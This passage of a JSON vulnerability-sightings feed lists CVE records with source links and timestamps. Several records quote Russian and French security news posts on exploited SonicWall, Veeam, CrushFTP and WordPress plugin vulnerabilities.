\u0432\u044b\u0441\u043e\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c XSS-\u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udd35 CVE-2024-4082 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Joli FAQ SEO, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 CSRF-\u0430\u0442\u0430\u043a. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430.\n\n\ud83d\udd35 CVE-2024-3923 \u2014 \u200b\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Beaver Builder, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u043e\u0441\u0435\u0449\u0430\u044e\u0449\u0438\u0445 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-15T00:00:42.209674Z"}, {"uuid": "9ecad608-eadf-486f-97b2-d62c234d125d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-40766", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mp6vhaibjm2q", "content": "\ud83d\udce2 CVE-2024-40766 SonicWall : le patch ne suffit pas, les configurations restent vuln\u00e9rables\n\ud83d\udcdd ## \ud83d\udd0d Contexte\n\nAnalyse publi\u00e9e le 23 juin 2026 par Manuel\u2026\nhttps://cyberveille.ch/posts/2026-06-26-cve-2024-40766-sonicwall-le-patch-ne-suffit-pas-les-configurations-restent-vulnerables/ #Akira #Cyberveille", "creation_timestamp": "2026-06-26T12:00:22.645317Z"}, {"uuid": "ad797c3e-498a-46e1-be47-da5ab0ba222c", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3e8992ff-0824-4310-9ea5-addb7d5118fe", "content": "", "creation_timestamp": "2026-06-30T09:24:00.064951Z"}, {"uuid": "b88c6e57-78e2-4f0b-b880-563e51783ec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40275", "type": "published-proof-of-concept", "source": "Telegram/m_mWdLfn7AzxtutPwUwFotcuCU2as0PFXRgnVVXbxrPnDrU", "content": "", "creation_timestamp": "2026-08-19T00:00:26.318082Z"}, {"uuid": "c62d0ced-ce0d-4b6b-b543-9684a2f05bb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "Telegram/_25z-AXgYGxMQG1-2juRNG_Sr6HyeON-5N9CgA9IG4g7wx0", "content": "", "creation_timestamp": "2026-08-15T08:00:05.692005Z"}, {"uuid": "5ea9c565-78ae-4d2c-921f-f1e49655bb81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/ZerodayAlert/365", "content": "CVE-2024-40766: \u043a\u0430\u043a \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u043b\u0430 \u0434\u0432\u0435 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438\n\n\ud83d\udd13 \u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Akira \u0438 Fog \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-40766 \u0432 SonicWall VPN. Arctic Wolf \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 30 \u0430\u0442\u0430\u043a \u0447\u0435\u0440\u0435\u0437 VPN-\u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b SonicWall, \u043f\u0440\u0438\u0447\u0435\u043c 75% \u0438\u0437 \u043d\u0438\u0445 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 Akira.\n\n\u26a1\ufe0f \u0412\u0440\u0435\u043c\u044f \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435\u043c \u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043e\u0442 1,5 \u0434\u043e 10 \u0447\u0430\u0441\u043e\u0432, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043e\u0431\u0449\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u0431\u0438\u0440\u0430\u044e\u0442 \u0441\u0432\u0435\u0436\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u044f \u0444\u0430\u0439\u043b\u044b \u0441\u0442\u0430\u0440\u0448\u0435 6 \u043c\u0435\u0441\u044f\u0446\u0435\u0432.\n\n\ud83d\udee1 \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0430\u0442\u0430\u043a \u0441\u0442\u0430\u043b\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u0438\u0437-\u0437\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 SonicOS \u0438 \u043c\u043d\u043e\u0433\u043e\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0425\u0430\u043a\u0435\u0440\u044b \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 VPN \u0438 VPS \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0441\u0432\u043e\u0438\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u0447\u0442\u043e \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442 \u0438\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435.\n\n#sonicwall #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a\u0438 #\u0432\u0437\u043b\u043e\u043c\n\n@ZerodayAlert", "creation_timestamp": "2026-08-07T00:17:18.650322Z"}, {"uuid": "20102464-ee87-4059-b24a-5422104ca790", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/ZerodayAlert/355", "content": "\u041e\u0442 \u0431\u044d\u043a\u0430\u043f\u0430 \u0434\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430: \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Veeam \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u0435\u0442 \u0440\u0438\u0441\u043a\u0443 \u043c\u0438\u0440\u043e\u0432\u044b\u0435 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u0438\n\n\ud83d\udd25 \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-40711 \u0432 Veeam Backup & Replication \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u042d\u0442\u0430 \u0431\u0440\u0435\u0448\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430\u043c\u0438 Akira \u0438 Fog \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\ud83d\udcbc Veeam \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 500 000 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 74% \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 Global 2000. \u041a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f \u0442\u0430\u043a\u043e\u0433\u043e \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u041f\u041e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u043c \u0443\u0442\u0435\u0447\u043a\u0430\u043c \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044e \u0440\u0430\u0431\u043e\u0442\u044b \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439.\n\n\ud83d\udd75\ufe0f \u0425\u0430\u043a\u0435\u0440\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u0440\u043e\u0434\u0435 rclone \u0434\u043b\u044f \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445. \u042d\u0442\u043e \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u0430\u0442\u0430\u043a \u043d\u0430 Veeam: \u0440\u0430\u043d\u0435\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u0430\u0441\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-27532, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0430\u044f\u0441\u044f \u0433\u0440\u0443\u043f\u043f\u043e\u0439 FIN7.\n\n#Veeam #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 #\u0431\u044d\u043a\u0430\u043f\n\n@ZerodayAlert", "creation_timestamp": "2026-07-06T11:00:03.845548Z"}, {"uuid": "81b24d22-87ff-40c6-ac8c-1415ea4dc754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "https://t.me/ZerodayAlert/222", "content": "\u0425\u0430\u043a\u0435\u0440\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u044b CrushFTP \u0447\u0435\u0440\u0435\u0437 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e 0-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\n\n\ud83d\udca5 \u0411\u043e\u043b\u0435\u0435 1400 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 CrushFTP \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-4040, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u2620\ufe0f \u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0431\u0430\u0433\u0430 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root, \u043d\u043e \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u2623\ufe0f \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0432 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430. CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 CVE-2024-4040 \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0443\u0433\u0440\u043e\u0437 \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u0440\u043e\u0447\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 #\u0434\u0430\u043d\u043d\u044b\u0435\u0432\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 #CrushFTP\n\n@ZerodayAlert", "creation_timestamp": "2026-07-06T11:00:07.695011Z"}, {"uuid": "f52d9df3-d571-48cf-9299-b3cc1561ece6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40583", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpylvhztxj2b", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-40583 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Pentaminds CuroVMS: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/AB28EC11-F521-425E-9228-A3BBC86EFDDC", "creation_timestamp": "2026-07-06T17:18:35.857298Z"}, {"uuid": "f10cf493-49a2-44dd-9255-9bbe81ee3f2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40582", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpylwxna7m2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-40582 \u0432 Pentaminds CuroVMS v2.0.1: \u0443\u0433\u0440\u043e\u0437\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\n\n\n\nhttps://kripta.biz/posts/43D23C45-DCFF-40BC-8C07-4A00069C2F66", "creation_timestamp": "2026-07-06T17:19:25.585206Z"}, {"uuid": "125350f9-ddf8-4b90-91e4-809232ffde86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/ZerodayAlert/355", "content": "\u041e\u0442 \u0431\u044d\u043a\u0430\u043f\u0430 \u0434\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430: \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Veeam \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u0435\u0442 \u0440\u0438\u0441\u043a\u0443 \u043c\u0438\u0440\u043e\u0432\u044b\u0435 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u0438\n\n\ud83d\udd25 \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-40711 \u0432 Veeam Backup & Replication \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u042d\u0442\u0430 \u0431\u0440\u0435\u0448\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430\u043c\u0438 Akira \u0438 Fog \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\ud83d\udcbc Veeam \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 500 000 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 74% \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 Global 2000. \u041a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f \u0442\u0430\u043a\u043e\u0433\u043e \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u041f\u041e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u043c \u0443\u0442\u0435\u0447\u043a\u0430\u043c \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044e \u0440\u0430\u0431\u043e\u0442\u044b \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439.\n\n\ud83d\udd75\ufe0f \u0425\u0430\u043a\u0435\u0440\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u0440\u043e\u0434\u0435 rclone \u0434\u043b\u044f \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445. \u042d\u0442\u043e \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u0430\u0442\u0430\u043a \u043d\u0430 Veeam: \u0440\u0430\u043d\u0435\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u0430\u0441\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-27532, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0430\u044f\u0441\u044f \u0433\u0440\u0443\u043f\u043f\u043e\u0439 FIN7.\n\n#Veeam #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 #\u0431\u044d\u043a\u0430\u043f\n\n@ZerodayAlert", "creation_timestamp": "2026-07-07T00:00:06.058677Z"}, {"uuid": "eac52867-07bb-47de-99b9-b3227314a7fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "https://t.me/ZerodayAlert/222", "content": "\u0425\u0430\u043a\u0435\u0440\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u044b CrushFTP \u0447\u0435\u0440\u0435\u0437 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e 0-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\n\n\ud83d\udca5 \u0411\u043e\u043b\u0435\u0435 1400 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 CrushFTP \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-4040, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 